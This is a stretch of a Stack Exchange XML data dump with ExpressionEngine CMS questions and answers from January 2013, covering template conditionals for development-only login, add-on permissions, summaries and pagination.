  <row Id="4801" PostTypeId="2" ParentId="2381" CreationDate="2013-01-15T14:41:54.880" Score="-2" Body="&lt;p&gt;(from &lt;a href=&quot;https://superuser.com/a/236152&quot;&gt;https://superuser.com/a/236152&lt;/a&gt; ) (opiniated bold mine)&lt;br&gt;&#xA;There was an interesting article by Cory Doctorow recently on this subject here* which argued that email obfuscation doesn't serve much purpose, and a more optimal approach is intelligently managing the spam you get.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;TL;DR version:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The objective of this entire exercise is not to reduce the amount of spam you get in your email, but the amount of spam you manually have to remove from your inbox.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Email obfuscation is a constant battle to come up with ever sophisticated bot-proof, human-readable encoding, and is a drain on the productivity of both the creator, and the correspondent.&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;&quot;Almost any email address that you use for any length of time eventually becomes widely enough known that you should assume all the spammers have it.&quot;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;&quot;The convenience of stable, easily copy-pastable email addresses&quot; wins over trying to hide from the spambots.&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;* &lt;a href=&quot;http://www.guardian.co.uk/technology/2010/dec/21/keeping-email-address-secret-spambots&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.guardian.co.uk/technology/2010/dec/21/keeping-email-address-secret-spambots&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="155" LastEditorUserId="-1" LastEditDate="2017-03-20T10:18:34.423" LastActivityDate="2013-01-15T14:41:54.880" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4803" PostTypeId="2" ParentId="4797" CreationDate="2013-01-15T16:11:05.677" Score="4" Body="&lt;p&gt;This can happen for several different reasons (allowed URI characters, CURL support not being present, PHP safe_mode, errors being thrown in the ExpressionEngine install, etc..).  I would recommend opening a support request with &lt;a href=&quot;http://EEHarbor.com&quot; rel=&quot;nofollow&quot;&gt;http://EEHarbor.com&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="801" LastActivityDate="2013-01-15T16:11:05.677" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4804" PostTypeId="1" AcceptedAnswerId="4817" CreationDate="2013-01-15T17:12:45.407" Score="4" ViewCount="226" Body="&lt;p&gt;I'm developing a site with Git and Master Config, and up until yesterday I was forcing users to log-in to view the site on the development server with this code in my document head template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if logged_out}&#xA;    {redirect='tmp/login'}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But now the site has been launched to production, I have to remove that code and template group. But since everything is synced up using Git, the development environment won't be password protected either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd prefer to use EE's built-in login system over say a .htpasswd file if possible. I figure I can .gitignore the &lt;code&gt;tmp&lt;/code&gt; template group so it only exists on development. Is there a Master Config variable I can use to only parse the &lt;code&gt;logged_out&lt;/code&gt; conditional in the development environment? Like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if ENV == 'dev'}&#xA;    {if logged_out}&#xA;       {redirect='tmp/login'}&#xA;    {/if}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5" LastActivityDate="2013-01-16T14:23:21.450" Title="Password Protect Development Environment Only?" Tags="|git|security|focus-lab-master-config|" AnswerCount="5" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4805" PostTypeId="1" AcceptedAnswerId="4869" CreationDate="2013-01-15T17:14:50.947" Score="2" ViewCount="467" Body="&lt;p&gt;Is there a way to disable the Rich Text Editor from adding styling to images that are inserted into the field?  I am specifically referring to use of the RTE in the administration portal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example if I add an image it automatically has:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;figure style=&quot;text-align: center;&quot;&amp;gt;&amp;lt;img alt=&quot;&quot; src=&quot;http://www.domain.com/uploads/assets/743280d7.hero2.jpg&quot;&amp;gt;&amp;lt;/figure&amp;gt;​&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there a way to have it default to just showing:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;img alt=&quot;&quot; src=&quot;http://www.domain.com/uploads/assets/743280d7.hero2.jpg&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="701" LastActivityDate="2014-09-24T20:59:05.140" Title="Default to no styling images in EE's Rich Text Editor" Tags="|image|richtext|formatting|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4806" PostTypeId="2" ParentId="2460" CreationDate="2013-01-15T18:09:47.760" Score="1" Body="&lt;p&gt;None of them will do all of that out the box.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;@Jason-Mayo is correct in that Cartthrob is your best bet as it's the most flexible out the lot, and so is the one you should choose. However, @Ramil-Alcibar is also correct as it can't be done without custom coding. For example, your being able to set a product to be auto approve or manual approve, you would need to create a EE extension type add-on that, when the order confirmation comes back from the payment provider, will check the product that has been bought, see if it is auto or manual approve and then set the status of said order accordingly. Not actually that difficult to do if you know how to code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are plenty of excellent EE devs around that can help you with this!&lt;/p&gt;&#xA;" OwnerUserId="42" LastActivityDate="2013-01-15T18:09:47.760" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4807" PostTypeId="2" ParentId="4804" CreationDate="2013-01-15T18:14:53.467" Score="2" Body="&lt;p&gt;The main &lt;a href=&quot;https://github.com/focuslabllc/ee-master-config/blob/master/config/config.master.php&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Master Config file&lt;/strong&gt;&lt;/a&gt; has global variables configured that you can use:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From line 253:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$master_global = array(&#xA;    'global:env' =&amp;gt; ENV,&#xA;    'global:env_full' =&amp;gt; ENV_FULL&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The variables for each environment are set in the &lt;a href=&quot;https://github.com/focuslabllc/ee-master-config/blob/master/config/config.env.php&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;config.env.php file&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{global:env}&lt;/code&gt; will get you &lt;strong&gt;&quot;prod, stage, dev or local&quot;&lt;/strong&gt; and &lt;code&gt;{global:env_full}&lt;/code&gt; will get you &lt;strong&gt;&quot;Production, Staging, Development or Local&quot;&lt;/strong&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;These are global variables you can access in your templates. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So this conditional will get you what you need:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if &quot;{global:env}&quot; != 'dev'}{redirect='/'}{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strike&gt;I'd set a global variable in the config.php file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$assign_to_config['global_vars']['ENV'] == 'dev';  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then use this in your template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if &quot;{ENV}&quot; == 'dev'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;/strike&gt;&lt;/p&gt;&#xA;" OwnerUserId="28" LastEditorUserId="28" LastEditDate="2013-01-15T23:13:09.503" LastActivityDate="2013-01-15T23:13:09.503" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4808" PostTypeId="2" ParentId="2328" CreationDate="2013-01-15T18:15:30.880" Score="2" Body="&lt;p&gt;Don't know if you would consider using Exp:resso Store instead or if you are already built out with CartThrob, but I needed to use PayPal Adaptive Payments and they were right on as far as offering to do custom work to build that out for me.  The client decided to change the way their billing worked so we didn't need it, but I know Exp:resso could do it and would be willing.  The Adaptive Payments is quite complex.&lt;/p&gt;&#xA;" OwnerUserId="802" LastActivityDate="2013-01-15T18:15:30.880" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4809" PostTypeId="1" AcceptedAnswerId="4810" CreationDate="2013-01-15T18:16:15.507" Score="3" ViewCount="68" Body="&lt;p&gt;I created a member group for the client, with this two options:&#xA;- Can access ADD-ONS: Modules &gt; yes&#xA;- Can access module:  Store &gt; yes&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When i access with the client profile , i can see the &quot;store&quot; tab, but &quot;Inventory&quot; is not present&lt;/p&gt;&#xA;&#xA;&lt;p&gt;why? Thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="75" LastActivityDate="2013-01-15T18:21:18.913" Title="expresso Store: Inventory not showing in cp for client's member group" Tags="|expresso-store|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4810" PostTypeId="2" ParentId="4809" CreationDate="2013-01-15T18:21:18.913" Score="1" Body="&lt;p&gt;Access to the Inventory page/menu item is controlled by your client's access to your products channel(s).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Double check in your member group settings, under &quot;Channel Assignment&quot;, that your client's member group has the privilege &quot;Can post and edit entries in: Products&quot; (or whatever your products channel is called).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If more than one channel has a Store Product Details fieldtype, your client's member group must have access to &lt;strong&gt;all&lt;/strong&gt; these channels.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-01-15T18:21:18.913" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4811" PostTypeId="2" ParentId="4755" CreationDate="2013-01-15T18:22:10.140" Score="2" Body="&lt;p&gt;Hmm, odd one, i would have to say that the collation_server being latin 1 would be at fault. Collation specifically is responsible for comparing and sorting in mysql. So, i'm guessing in the saving of the entry, it's trying to compare data, that is: one being utf-8 once it's in the db, and one that is latin1 before it gets to the db. This would cause a fatal mysql error and prevent any further inserts or whatever. You're going to have to get that server collation changed i would say.&lt;/p&gt;&#xA;" OwnerUserId="42" LastActivityDate="2013-01-15T18:22:10.140" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4812" PostTypeId="2" ParentId="4792" CreationDate="2013-01-15T18:23:24.397" Score="0" Body="&lt;p&gt;Inside the channel:entries tag you can write conditionals based on the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#channel-id&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;{channel_id}&lt;/strong&gt;&lt;/a&gt; or &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#channel-short-name&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;{channel_short_name}&lt;/strong&gt;&lt;/a&gt;. For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if channel_id != &quot;10&quot;}SHOW &quot;min. order quantity&quot; field{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if channel_short_name != &quot;big_products&quot; OR channel_short_name != &quot;small_products&quot;}SHOW &quot;min. order quantity&quot; field{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-01-15T18:23:24.397" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4813" PostTypeId="2" ParentId="4804" CreationDate="2013-01-15T18:29:08.543" Score="3" Body="&lt;p&gt;Jason Siffring at Surprise Highway posted an article on how to do this with .htaccess. Unfortunately it requires a .htpasswd file, which it looks like you're trying to avoid. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the link in case it's useful: &#xA;&lt;a href=&quot;http://surprisehighway.com/article/how-to-password-protect-development-and-staging-sites-with-htaccess&quot; rel=&quot;nofollow&quot;&gt;http://surprisehighway.com/article/how-to-password-protect-development-and-staging-sites-with-htaccess&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="263" LastEditorUserId="263" LastEditDate="2013-01-16T01:15:16.813" LastActivityDate="2013-01-16T01:15:16.813" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4814" PostTypeId="2" ParentId="2328" CreationDate="2013-01-15T18:32:27.537" Score="1" Body="&lt;p&gt;Reading between the lines here, I'm assuming you have or are creating a multi-vendor marketplace (e.g. Etsy, Devot:ee).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Every site I've seen do this using ExpressionEngine takes the money first, and pays out its vendors at the end of the month (as Devot:ee) do. While PayPal Adaptive Payments sounds like a nice idea, it makes it much harder to effect refunds etc, especially when customers come to you with a complaint about the vendor which you must resolve.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Without more information it's difficult to make a recommendation. Any decent PHP developer should be able to add Adaptive Payments support for you (and you would probably hard code into the extension some logic for looking up the Paypal seller email address in your database, then calculating the correct payment split etc, so it's not really something that would ever come built in to an e-commerce plugin).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, you may find it's easier to simply pay out your vendors monthly, at least until your site grows to a point where it warrants a completely custom build (in a PHP or other framework, rather than a CMS).&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-01-15T18:32:27.537" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="4815" PostTypeId="1" CreationDate="2013-01-15T18:56:23.687" Score="1" ViewCount="220" Body="&lt;p&gt;I'm curious if anyone has used Matrix Column Labels in their templates before? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;SCENARIO:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tabular data showing table headers: ROOM #, ROOM NAME, etc...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Those double as my Matrix Column Labels. Instead of having:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;tr&amp;gt;&#xA;        &amp;lt;th width=&quot;101&quot;&amp;gt;Room #&amp;lt;/th&amp;gt;&#xA;        &amp;lt;th width=&quot;223&quot;&amp;gt;Room Name&amp;lt;/th&amp;gt;&#xA;&amp;lt;/tr&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'd rather have something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{MATRIX_FIELD}&amp;lt;tr&amp;gt;&#xA;            &amp;lt;th width=&quot;101&quot;&amp;gt;{column_number}&amp;lt;/th&amp;gt;&#xA;            &amp;lt;th width=&quot;223&quot;&amp;gt;{column_name}&amp;lt;/th&amp;gt;&#xA;&amp;lt;/tr&amp;gt;{/MATRIX_FIELD}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr /&gt;&#xA;&#xA;&lt;p&gt;I didn't see anything in the Matrix documentation to pull the column labels and was curious if anyone has done this before. Obviously I can pull in the COLUMN NAME but nothing for LABELS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks everyone!&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2013-01-15T21:05:48.457" Title="Use Matrix Column Labels in Templates?" Tags="|matrix|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4816" PostTypeId="1" AcceptedAnswerId="4818" CreationDate="2013-01-15T19:04:15.853" Score="2" ViewCount="1188" Body="&lt;p&gt;I am working on a site that has a main entry but as I post new entries, it pushes existing content down into summarized items the user can click on for more. I want to have a little summary so the user can read a quick outline of what is being discussed or viewed without having to click on it. I would like to have the typical &quot;Read More&quot; link, however I am not exactly sure how to set that up or code it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I came across this article while I was searching for possible solutions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://colly.com/comments/more-more-more-links-in-expression-engine/&quot; rel=&quot;nofollow&quot;&gt;http://colly.com/comments/more-more-more-links-in-expression-engine/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I see that it was posted in 2006 so I was curious if this was what I was looking for and secondly if this is still the method used today. I currently have my entries set up with a title, a vimeo link and also a text entry about what the video is going to cover. Thanks for any help, as always it is greatly appreciated. &lt;/p&gt;&#xA;" OwnerUserId="626" LastActivityDate="2013-01-15T19:17:35.200" Title="Creating a read more link for blog." Tags="|ee2|entries|vimeo|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4817" PostTypeId="2" ParentId="4804" CreationDate="2013-01-15T19:04:38.563" Score="5" Body="&lt;p&gt;Version 1.1.1 of the &lt;a href=&quot;https://github.com/focuslabllc/ee-master-config&quot; rel=&quot;nofollow&quot;&gt;Master Config&lt;/a&gt; added &lt;a href=&quot;https://github.com/focuslabllc/ee-master-config/blob/master/config/config.master.php#L253&quot; rel=&quot;nofollow&quot;&gt;two global variables&lt;/a&gt; by default. Here's a sample of use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if global:env == 'dev'}&#xA;    {if logged_out}&#xA;        {redirect='tmp/login'}&#xA;    {/if}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;An alternate approach without nesting conditionals:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if global:env == 'dev' &amp;amp;&amp;amp; logged_out}&#xA;    {redirect='tmp/login'}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you are using a version before 1.1.1 you can just add that section of code to your current &lt;code&gt;config.master.php&lt;/code&gt; file.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I figure I can .gitignore the &lt;code&gt;tmp&lt;/code&gt; template group so it only exists on development.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I'd recommend adding a conditional to any template in that group. The conditional would redirect the user if they aren't in the desired environment. It's a bigger process depending on how many templates you're running in the group, but allows you to track the template(s) and their changes. It also means your other contributors will have these files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; {if global:env != 'dev'}{redirect='/'}{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="199" LastEditorUserId="199" LastEditDate="2013-01-15T19:32:35.543" LastActivityDate="2013-01-15T19:32:35.543" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4818" PostTypeId="2" ParentId="4816" CreationDate="2013-01-15T19:17:35.200" Score="6" Body="&lt;p&gt;You have two primary options here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first, which I'd recommend, is to have a dedicated &quot;Summary&quot; field in your channel. This way the summary can be specifically-crafted as a &lt;em&gt;summary&lt;/em&gt;, which is far more useful to your readers, rather than just whatever the first X-number of words of your entry happens to be. Then, display it with a link to your full entry:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;blog&quot; limit=&quot;10&quot;}&#xA;    &amp;lt;h2&amp;gt;&amp;lt;a href=&quot;{title_permalink=&quot;blog/entry&quot;}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;    {blog_summary}&#xA;    &amp;lt;p&amp;gt;&amp;lt;a href=&quot;{title_permalink=&quot;blog/entry&quot;}&quot;&amp;gt;Read more ...&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(Where &lt;strong&gt;blog/entry&lt;/strong&gt; is your single entry template, in which you display all your fields for a single entry.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your other, lazier option is to use a plugin on your content field, like &lt;a href=&quot;http://devot-ee.com/add-ons/hacksaw&quot;&gt;Hacksaw&lt;/a&gt;, which truncates your content into a summary:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;blog&quot; limit=&quot;10&quot;}&#xA;    &amp;lt;h2&amp;gt;&amp;lt;a href=&quot;{title_permalink=&quot;blog/entry&quot;}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;    {exp:eehive_hacksaw words=&quot;50&quot; append=&quot;...&quot;}&#xA;        {blog_content}&#xA;    {/exp:eehive_hacksaw}&#xA;    &amp;lt;p&amp;gt;&amp;lt;a href=&quot;{title_permalink=&quot;blog/entry&quot;}&quot;&amp;gt;Read more ...&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Either one will get the job done for you.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-01-15T19:17:35.200" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4819" PostTypeId="1" AcceptedAnswerId="4820" CreationDate="2013-01-15T12:48:23.860" Score="3" ViewCount="644" Body="&lt;p&gt;I'm working on EE2 theme and I can't find solution how to force EE use templates directly from the file system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Generally I want to disable database templates while I'm working on theme, to get development quickly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible?&#xA;Thanks&lt;/p&gt;&#xA;" OwnerUserId="818" OwnerDisplayName="ntvf" LastEditorUserId="55" LastEditDate="2013-01-15T21:01:38.510" LastActivityDate="2013-01-15T21:01:38.510" Title="Disable database-templates within ExpressionEngine 2" Tags="|templates|config|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4820" PostTypeId="2" ParentId="4819" CreationDate="2013-01-15T14:50:19.430" Score="7" Body="&lt;p&gt;That would be the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/templates_as_files.html&quot;&gt;save templates as files&lt;/a&gt; feature. Once you've configured a template path you can save individual templates as files or you can sync all of your templates to file via the Templates &gt; Synchronize Templates page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you've done that any changes you make to the template files will take effect immediately, without you needing to manually sync them to the DB.&lt;/p&gt;&#xA;" OwnerUserId="77" OwnerDisplayName="Dom Stubbs" LastActivityDate="2013-01-15T14:50:19.430" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="4821" PostTypeId="1" CreationDate="2013-01-15T19:47:40.367" Score="1" ViewCount="33" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Possible Duplicate:&lt;/strong&gt;&lt;br&gt;&#xA;  &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/387/expressionengine-and-git-process&quot;&gt;ExpressionEngine and GIT Process&lt;/a&gt;  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;This is an odd hybrid question, so I'm not sure if I'm asking it in the right spot. If this should go somewhere else, please let me know. This is both asking for best-practice suggestions, and asking about two products: Github (for source control) and EE (for all site content.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've started a role with a company that's just implemented using Github for source control. Fine and dandy. We have the images, the server-side files, and some CRM integration files that we upload with FTP, and we're using Github to source-control those files. However...with EE, all the textual content is in the databases. And currently, they do daily backups of the database, but the databases are not source- or version-controlled in github. I was thinking of suggesting that the databases be backed up daily, and the database files added to Github for version control. I think that would let us &quot;roll back&quot; to previous versions of the entire database, but doesn't allow for granular source control of designs, content, structures, et cetera.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do any of you have experience using source/version control with your EE-driven sites? What method or system did you use?&lt;/p&gt;&#xA;" OwnerDisplayName="user800" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2013-01-15T19:47:40.367" Title="Source control and EE: suggestions?" Tags="|ee2|bestpractice|" AnswerCount="0" CommentCount="3" ClosedDate="2013-01-15T19:58:03.283" ContentLicense="CC BY-SA 3.0" />
  <row Id="4822" PostTypeId="2" ParentId="4815" CreationDate="2013-01-15T19:54:50.463" Score="3" Body="&lt;p&gt;I don't know of a way to get the labels in the traditional Matrix tag pair, but Matrix does have the {your_matrix_field:table} tag, which prints out a full HTML table. I believe this table uses your column names as the table headers. This might not give you the granular control over the markup that you need, but maybe it'll be good enough?&lt;/p&gt;&#xA;" OwnerUserId="617" LastActivityDate="2013-01-15T19:54:50.463" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4823" PostTypeId="2" ParentId="3552" CreationDate="2013-01-15T19:57:51.853" Score="1" Body="&lt;p&gt;A shot in the dark, but maybe try changing your field names so that they don't &lt;em&gt;start&lt;/em&gt; with the same name? I'm thinking it could be a regex false positive issue when SC is parsing its tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So instead of first_name, first_name_2, something like first_name, second_first_name. You may also want to try just changing the first one so that it doesn't start like the others, so first_name_1.&lt;/p&gt;&#xA;" OwnerUserId="617" LastActivityDate="2013-01-15T19:57:51.853" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4824" PostTypeId="1" CreationDate="2013-01-15T20:27:58.180" Score="4" ViewCount="1075" Body="&lt;p&gt;In 7 years with ExpressionEngine I've never seen this error before when saving a channel entry: Numbers cannot be used as URL Titles&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And, there are past existing entries in this site with numbers as URL Titles. Anyone know what might be causing this and if there is a switch to allow them? I can't find anything.&lt;/p&gt;&#xA;" OwnerUserId="149" LastActivityDate="2013-01-16T10:52:21.423" Title="Numbers cannot be used as URL Titles?" Tags="|url-title|" AnswerCount="3" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="4825" PostTypeId="1" AcceptedAnswerId="4913" CreationDate="2013-01-15T20:28:50.833" Score="3" ViewCount="603" Body="&lt;p&gt;How I would go about adding the &lt;a href=&quot;http://jquery-spellchecker.badsyntax.co/ckeditor.html&quot; rel=&quot;nofollow&quot;&gt;jquery spellcheck plugin&lt;/a&gt; to WYGWAM?&lt;/p&gt;&#xA;" OwnerUserId="734" LastActivityDate="2014-07-31T21:16:01.920" Title="How to add jquery spellchecker plugin to WYGWAM" Tags="|wygwam|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4826" PostTypeId="2" ParentId="4804" CreationDate="2013-01-15T20:33:52.437" Score="1" Body="&lt;p&gt;What about using EE's built-in template permissions? It's located under the &quot;access&quot; tab when editing a template.  Way easier IMHO than writing a bunch of conditionals into your templates and then having to rip them out when going live. Here's an example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yMaAx.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would link to the page in EllisLab's docs, but the EE docs are down right now.&lt;/p&gt;&#xA;" OwnerUserId="734" LastActivityDate="2013-01-15T20:33:52.437" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4827" PostTypeId="1" AcceptedAnswerId="4833" CreationDate="2013-01-15T20:44:27.490" Score="2" ViewCount="395" Body="&lt;p&gt;I have a script that uses query to determine if a particular entry is open or closed. based on that entry, it then displays a list of blog entry excerpts.  if that particular entry id has a status of closed, it displays the list with one category hidden.  Otherwise it shows all categories.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything on this works fine except for the pagination. I cannot get it to appear inside the conditional, and when it is outside of the conditional, it just shows the same few blog excerpts on every page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below is my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query sql=&quot;SELECT status FROM exp_channel_titles WHERE entry_id = '46'&quot;}&#xA;            {if status == 'closed'}&#xA;                {exp:channel:entries channel=&quot;blog&quot; disable=&quot;member_data&quot; limit=&quot;3&quot; paginate=&quot;bottom&quot; order_by=&quot;desc&quot; category=&quot;not 4&quot;}&#xA;                    {if no_results}&#xA;                        &amp;lt;p&amp;gt;No results available&amp;lt;/p&amp;gt;&#xA;                    {/if}&#xA;                    &amp;lt;div class=&quot;entry&quot;&amp;gt;&amp;lt;article&amp;gt;&#xA;                        &amp;lt;div class=&quot;header&quot;&amp;gt;&amp;lt;header&amp;gt;&#xA;                            &amp;lt;hgroup&amp;gt;&#xA;                                &amp;lt;h2 class=&quot;category&quot;&amp;gt;{categories}{category_name}{/categories}&amp;lt;/h2&amp;gt;&#xA;                                &amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;&#xA;                            &amp;lt;/hgroup&amp;gt;&#xA;                            &amp;lt;p&amp;gt;&amp;lt;span class=&quot;date&quot;&amp;gt;{entry_date format=&quot;%F %d, %Y&quot;}&amp;lt;/span&amp;gt; / &amp;lt;span class=&quot;author&quot;&amp;gt;{author}&amp;lt;/span&amp;gt;&amp;lt;/p&amp;gt;&#xA;                        &amp;lt;/header&amp;gt;&amp;lt;/div&amp;gt; 